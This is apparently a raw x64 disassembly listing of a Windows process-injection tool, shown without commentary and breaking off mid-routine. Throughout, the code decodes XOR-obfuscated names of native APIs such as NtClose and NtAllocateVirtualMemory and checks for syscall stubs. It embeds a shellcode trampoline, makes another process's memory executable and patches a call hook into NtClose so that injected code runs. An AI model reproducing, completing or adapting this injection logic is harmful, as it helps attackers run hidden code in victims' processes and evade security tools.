lea rax, [rbp + 0x25e0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2600]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2620]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2660]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x26c0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x26ef]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x26f0]
mov rcx, qword [rbp + 0x30f8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x1400072dd
lea rbx, [0x1402aedd7]
jmp 0x1400072e4
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x295f]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x295f]
lea rax, [rbp + 0x2930]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x2910]
lea rdx, [rbp + 0x2930]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x28f0]
lea rdx, [rbp + 0x2910]
lea r8, [0x1402aedd1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x28d0]
lea rdx, [rbp + 0x28f0]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x28b0]
lea rdx, [rbp + 0x28d0]
lea r8, [0x1402aee1d]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2890]
lea rdx, [rbp + 0x28b0]
lea r8, [0x1402aedc9]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2870]
lea rdx, [rbp + 0x2890]
lea r8, [0x1402aedcb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2850]
lea rdx, [rbp + 0x2870]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2830]
lea rdx, [rbp + 0x2850]
lea r8, [0x1402aee23]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2810]
lea rdx, [rbp + 0x2830]
lea r8, [0x1402aee11]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x27f0]
lea rdx, [rbp + 0x2810]
lea r8, [0x1402aee1b]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x27d0]
lea rdx, [rbp + 0x27f0]
lea r8, [0x1402aee0b]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x27b0]
lea rdx, [rbp + 0x27d0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2790]
lea rdx, [rbp + 0x27b0]
lea r8, [0x1402aedc3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2770]
lea rdx, [rbp + 0x2790]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2750]
lea rdx, [rbp + 0x2770]
lea r8, [0x1402aedcb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x1402aee0d]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x2710]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2770]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2790]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x27b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x27d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x27f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2810]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2830]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2850]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2870]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2890]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x28b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x28d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2910]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2930]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x295f]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x2960]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x2960]
mov rcx, qword [rbp + 0x30f0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x2960]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x1400076d0
lea rbx, [0x1402aedd7]
jmp 0x1400076d7
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2bef]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x2bef]
lea rax, [rbp + 0x2bc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x2ba0]
lea rdx, [rbp + 0x2bc0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2b80]
lea rdx, [rbp + 0x2ba0]
lea r8, [0x1402aee09]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2b60]
lea rdx, [rbp + 0x2b80]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2b40]
lea rdx, [rbp + 0x2b60]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2b20]
lea rdx, [rbp + 0x2b40]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2b00]
lea rdx, [rbp + 0x2b20]
lea r8, [0x1402aedc9]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2ae0]
lea rdx, [rbp + 0x2b00]
lea r8, [0x1402aedcb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2ac0]
lea rdx, [rbp + 0x2ae0]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2aa0]
lea rdx, [rbp + 0x2ac0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2a80]
lea rdx, [rbp + 0x2aa0]
lea r8, [0x1402aedcf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2a60]
lea rdx, [rbp + 0x2a80]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2a40]
lea rdx, [rbp + 0x2a60]
lea r8, [0x1402aedbf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2a20]
lea rdx, [rbp + 0x2a40]
lea r8, [0x1402aedd1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2a00]
lea rdx, [rbp + 0x2a20]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x29e0]
lea rdx, [rbp + 0x2a00]
lea r8, [0x1402aedd3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x29c0]
lea rdx, [rbp + 0x29e0]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x29a0]
lea rdx, [rbp + 0x29c0]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2980]
lea rdx, [rbp + 0x29a0]
lea r8, [0x1402aedd5]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x2980]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x2980]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x29a0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x29c0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x29e0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2a00]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2a20]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2a40]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2a60]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2a80]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2aa0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2ac0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2ae0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2b00]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2b20]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2b40]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2b60]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2b80]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2ba0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2bef]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x2bf0]
mov rcx, qword [rbp + 0x30e8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x140007aef
lea rbx, [0x1402aedd7]
jmp 0x140007af6
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
call fcn.14000193d
mov rax, qword [0x1402aa628]
mov qword [rbp + 0x3098], rax
mov qword [rbp + 0x3090], 0
movabs rax, 0x6c642e6c6c64746e
mov qword [rbp + 0xee], rax
mov word [rbp + 0xf6], 0x6c
movabs rax, 0x65736f6c43744e
mov qword [rbp + 0xe6], rax
lea rax, [rbp + 0xee]
mov qword [rbp + 0x3088], rax
lea rax, [rbp + 0xe6]
mov qword [rbp + 0x3080], rax
lea rax, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c4f]
mov rcx, rax
call fcn.1400019e4
lea rax, [rbp + 0x2c10]
mov qword [rbp + 0x3060], rax
mov rax, qword [rbp + 0x3060]
mov qword [rbp + 0x3058], rax
mov rax, qword [rbp + 0x3058]
movzx eax, byte [rax + 0x33]
test al, al
setne al
test al, al
je 0x140007c5a
mov rax, qword [rbp + 0x3060]
mov rdx, qword [rbp + 0x3060]
mov qword [rbp + 0x3050], rdx
mov qword [rbp + 0x3048], rax
mov dword [rbp + 0x3044], 0
jmp 0x140007c50
mov eax, dword [rbp + 0x3044]
movsxd rdx, eax
mov rax, qword [rbp + 0x3048]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x3044]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x3050]
mov eax, dword [rbp + 0x3044]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x3044], 1
cmp dword [rbp + 0x3044], 0x33
jle 0x140007bf1
nop
lea rax, [rbp + 0x2c10]
mov rcx, qword [rbp + 0x3080]
mov rdx, qword [rbp + 0x3088]
mov r8, rcx
mov rcx, rax
call fcn.140001450
movabs rax, 0x52515005e8834858
movabs rdx, 0x5341524151415041
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x334455667788b948
movabs rdx, 0xec83480889481122
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x834800000011e840
movabs rdx, 0x59415a415b4140c4
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x90e0ff58595a5841
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0x3088]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x3078], rax
cmp qword [rbp + 0x3078], 0
jne 0x140007e14
lea rax, [rbp + 0x2c50]
lea rdx, [rbp + 0x2c7f]
mov rcx, rax
call fcn.140001b96
lea rax, [rbp + 0x2c50]
mov qword [rbp + 0x3038], rax
mov rax, qword [rbp + 0x3038]
mov qword [rbp + 0x3030], rax
mov rax, qword [rbp + 0x3030]
movzx eax, byte [rax + 0x23]
test al, al
setne al
test al, al
je 0x140007df4
mov rax, qword [rbp + 0x3038]
mov rdx, qword [rbp + 0x3038]
mov qword [rbp + 0x3028], rdx
mov qword [rbp + 0x3020], rax
mov dword [rbp + 0x301c], 0
jmp 0x140007dea
mov eax, dword [rbp + 0x301c]
movsxd rdx, eax
mov rax, qword [rbp + 0x3020]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x301c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x3028]
mov eax, dword [rbp + 0x301c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x301c], 1
cmp dword [rbp + 0x301c], 0x23
jle 0x140007d8b
nop
lea rax, [rbp + 0x2c50]
mov rdx, qword [rbp + 0x3088]
mov rcx, rax
call fcn.140001450
mov ebx, 1
jmp 0x140008b46
mov rdx, qword [rbp + 0x3080]
mov rax, qword [rbp + 0x3078]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3070], rax
cmp qword [rbp + 0x3070], 0
jne 0x140007f48
lea rax, [rbp + 0x2c80]
lea rdx, [rbp + 0x2cb0]
mov rcx, rax
call fcn.140001cc8
lea rax, [rbp + 0x2c80]
mov qword [rbp + 0x3010], rax
mov rax, qword [rbp + 0x3010]
mov qword [rbp + 0x3008], rax
mov rax, qword [rbp + 0x3008]
movzx eax, byte [rax + 0x26]
test al, al
setne al
test al, al
je 0x140007f1e
mov rax, qword [rbp + 0x3010]
mov rdx, qword [rbp + 0x3010]
mov qword [rbp + 0x3000], rdx
mov qword [rbp + 0x2ff8], rax
mov dword [rbp + 0x2ff4], 0
jmp 0x140007f14
mov eax, dword [rbp + 0x2ff4]
movsxd rdx, eax
mov rax, qword [rbp + 0x2ff8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2ff4]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x3000]
mov eax, dword [rbp + 0x2ff4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2ff4], 1
cmp dword [rbp + 0x2ff4], 0x26
jle 0x140007eb5
nop
lea rax, [rbp + 0x2c80]
mov rcx, qword [rbp + 0x3080]
mov rdx, qword [rbp + 0x3088]
mov r8, rcx
mov rcx, rax
call fcn.140001450
mov ebx, 1
jmp 0x140008b46
lea rax, [rbp + 0x2cb1]
lea rdx, [rbp + 0x2cbe]
mov rcx, rax
call fcn.140001e12
lea rax, [rbp + 0x2cb1]
mov qword [rbp + 0x2fe8], rax
mov rax, qword [rbp + 0x2fe8]
mov qword [rbp + 0x2fe0], rax
mov rax, qword [rbp + 0x2fe0]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140008023
mov rax, qword [rbp + 0x2fe8]
mov rdx, qword [rbp + 0x2fe8]
mov qword [rbp + 0x2fd8], rdx
mov qword [rbp + 0x2fd0], rax
mov dword [rbp + 0x2fcc], 0
jmp 0x140008019
mov eax, dword [rbp + 0x2fcc]
movsxd rdx, eax
mov rax, qword [rbp + 0x2fd0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2fcc]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2fd8]
mov eax, dword [rbp + 0x2fcc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2fcc], 1
cmp dword [rbp + 0x2fcc], 0xc
jle 0x140007fba
nop
lea rax, [rbp + 0x2cb1]
mov rcx, rax
call fcn.1400016ba
mov qword [rbp + 0x3190], rax
mov rax, qword [rbp + 0x3098]
lea rcx, [rax + 0x38]
mov rdx, qword [rbp + 0x3070]
mov rax, qword [rbp + 0x3190]
mov r8, rcx
mov rcx, rax
call fcn.14000188f
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
test rax, rax
jne 0x14000810c
lea rax, [rbp + 0x2cc0]
lea rdx, [rbp + 0x2cbf]
mov rcx, rax
call fcn.140001e8c
mov rax, qword [rbp + 0x2cc0]
mov rdx, qword [rbp + 0x2cc8]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2cd8]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
mov rax, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2ce8]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x2ce9]
mov rdx, qword [rbp + 0x2cf1]
mov qword [rbp + 0x49], rax
mov qword [rbp + 0x51], rdx
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.14001e6b0
mov rdx, qword [0x1402db078]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
mov qword [rbp + 0x90], 0
mov dword [rbp + 0x318c], 0
jmp 0x140008157
mov eax, dword [rbp + 0x318c]
movsxd rdx, eax
mov rax, qword [rbp + 0x3070]
add rax, rdx
mov rcx, rax
mov eax, dword [rbp + 0x318c]
cdqe
lea rdx, [rbp + 0x90]
add rdx, rax
movzx eax, byte [rcx]
mov byte [rdx], al
add dword [rbp + 0x318c], 1
cmp dword [rbp + 0x318c], 7
jle 0x140008123
mov rax, qword [rbp + 0x90]
lea rdx, [rbp + 0xa0]
mov rcx, rax
call fcn.140001843
mov qword [rbp + 0x88], 8
mov dword [rbp + 0x84], 0
mov rax, qword [rbp + 0x3070]
mov qword [rbp + 0x78], rax
mov r10, qword [0x1402db048]
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x78]
mov rax, qword [rbp + 0x3190]
lea rcx, [rbp + 0x84]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov rcx, rax
call r10
mov dword [rbp + 0x306c], eax
cmp dword [rbp + 0x306c], 0
je 0x1400082f2
mov rbx, qword [rbp + 0x78]
lea rax, [rbp + 0x2d00]
lea rdx, [rbp + 0x2d3f]
mov rcx, rax
call fcn.140002066
lea rax, [rbp + 0x2d00]
mov qword [rbp + 0x2fc0], rax
mov rax, qword [rbp + 0x2fc0]
mov qword [rbp + 0x2fb8], rax
mov rax, qword [rbp + 0x2fb8]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x1400082b9
mov rax, qword [rbp + 0x2fc0]
mov rdx, qword [rbp + 0x2fc0]
mov qword [rbp + 0x2fb0], rdx
mov qword [rbp + 0x2fa8], rax
mov dword [rbp + 0x2fa4], 0
jmp 0x1400082af
mov eax, dword [rbp + 0x2fa4]
movsxd rdx, eax
mov rax, qword [rbp + 0x2fa8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2fa4]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2fb0]
mov eax, dword [rbp + 0x2fa4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2fa4], 1
cmp dword [rbp + 0x2fa4], 0x3a
jle 0x140008250
nop
lea rax, [rbp + 0x2d00]
mov edx, dword [rbp + 0x306c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.140001450
mov rdx, qword [0x1402db078]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
mov rax, qword [rbp + 0x98]
sub rax, qword [rbp + 0x3070]
sub rax, 5
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x6b], 0xe8
mov byte [rbp + 0x6f], 0
mov dword [rbp + 0x3188], 0
jmp 0x140008348
mov eax, dword [rbp + 0x3188]
cdqe
lea rdx, [rbp + 0x70]
add rax, rdx
mov edx, dword [rbp + 0x3188]
lea ecx, [rdx + 1]
movzx edx, byte [rax]
movsxd rax, ecx
mov byte [rbp + rax + 0x6b], dl
add dword [rbp + 0x3188], 1
cmp dword [rbp + 0x3188], 3
jle 0x14000831f
mov rax, qword [rbp + 0x3070]
mov qword [rbp + 0x78], rax
mov r10, qword [0x1402db040]
mov rax, qword [rbp + 0x78]
mov r11, rax
lea rcx, [rbp + 0x6b]
mov rax, qword [rbp + 0x3190]
lea rdx, [rbp + 0xf8]
mov qword [rsp + 0x20], rdx
mov r9d, 5
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x306c], eax
cmp dword [rbp + 0x306c], 0
jne 0x1400083b3
mov rax, qword [rbp + 0xf8]
cmp rax, 5
je 0x1400084cb
lea rax, [rbp + 0x2d40]
lea rdx, [rbp + 0x2d7f]
mov rcx, rax
call fcn.140002250
lea rax, [rbp + 0x2d40]
mov qword [rbp + 0x2f98], rax
mov rax, qword [rbp + 0x2f98]
mov qword [rbp + 0x2f90], rax
mov rax, qword [rbp + 0x2f90]
movzx eax, byte [rax + 0x34]
test al, al
setne al
test al, al
je 0x14000848e
mov rax, qword [rbp + 0x2f98]
mov rdx, qword [rbp + 0x2f98]
mov qword [rbp + 0x2f88], rdx
mov qword [rbp + 0x2f80], rax
mov dword [rbp + 0x2f7c], 0
jmp 0x140008484
mov eax, dword [rbp + 0x2f7c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f80]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2f7c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2f88]
mov eax, dword [rbp + 0x2f7c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2f7c], 1
cmp dword [rbp + 0x2f7c], 0x34
jle 0x140008425
nop
lea rax, [rbp + 0x2d40]
mov ecx, dword [rbp + 0x306c]
mov rdx, qword [rbp + 0x3070]
mov r8d, ecx
mov rcx, rax
call fcn.140001450
mov rdx, qword [0x1402db078]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
mov rax, qword [rbp + 0x3098]
add rax, 0x38
mov qword [rbp + 0x88], rax
mov r10, qword [0x1402db048]
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x98]
mov rax, qword [rbp + 0x3190]
lea rcx, [rbp + 0x84]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x306c], eax
cmp dword [rbp + 0x306c], 0
je 0x14000863f
mov rbx, qword [rbp + 0x98]
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2dbf]
mov rcx, rax
call fcn.14000240a
lea rax, [rbp + 0x2d80]
mov qword [rbp + 0x2f70], rax
mov rax, qword [rbp + 0x2f70]
mov qword [rbp + 0x2f68], rax
mov rax, qword [rbp + 0x2f68]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x140008606
mov rax, qword [rbp + 0x2f70]
mov rdx, qword [rbp + 0x2f70]
mov qword [rbp + 0x2f60], rdx
mov qword [rbp + 0x2f58], rax
mov dword [rbp + 0x2f54], 0
jmp 0x1400085fc
mov eax, dword [rbp + 0x2f54]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f58]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2f54]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2f60]
mov eax, dword [rbp + 0x2f54]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2f54], 1
cmp dword [rbp + 0x2f54], 0x3a
jle 0x14000859d
nop
lea rax, [rbp + 0x2d80]
mov edx, dword [rbp + 0x306c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.140001450
mov rdx, qword [0x1402db078]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
mov r10, qword [0x1402db040]
mov rax, qword [rbp + 0x98]
mov r11, rax
lea rcx, [rbp + 0xa0]
mov rax, qword [rbp + 0x3190]
lea rdx, [rbp + 0xf8]
mov qword [rsp + 0x20], rdx
mov r9d, 0x38
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x306c], eax
cmp dword [rbp + 0x306c], 0
jne 0x14000869c
mov rax, qword [rbp + 0xf8]
cmp rax, 0x38
je 0x1400087b7
mov rbx, qword [rbp + 0x98]
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2dff]
mov rcx, rax
call fcn.1400025f4
lea rax, [rbp + 0x2dc0]
mov qword [rbp + 0x2f48], rax
mov rax, qword [rbp + 0x2f48]
mov qword [rbp + 0x2f40], rax
mov rax, qword [rbp + 0x2f40]
movzx eax, byte [rax + 0x34]
test al, al
setne al
test al, al
je 0x14000877e
mov rax, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f48]
mov qword [rbp + 0x2f38], rdx
mov qword [rbp + 0x2f30], rax
mov dword [rbp + 0x2f2c], 0
jmp 0x140008774
mov eax, dword [rbp + 0x2f2c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f30]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2f2c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
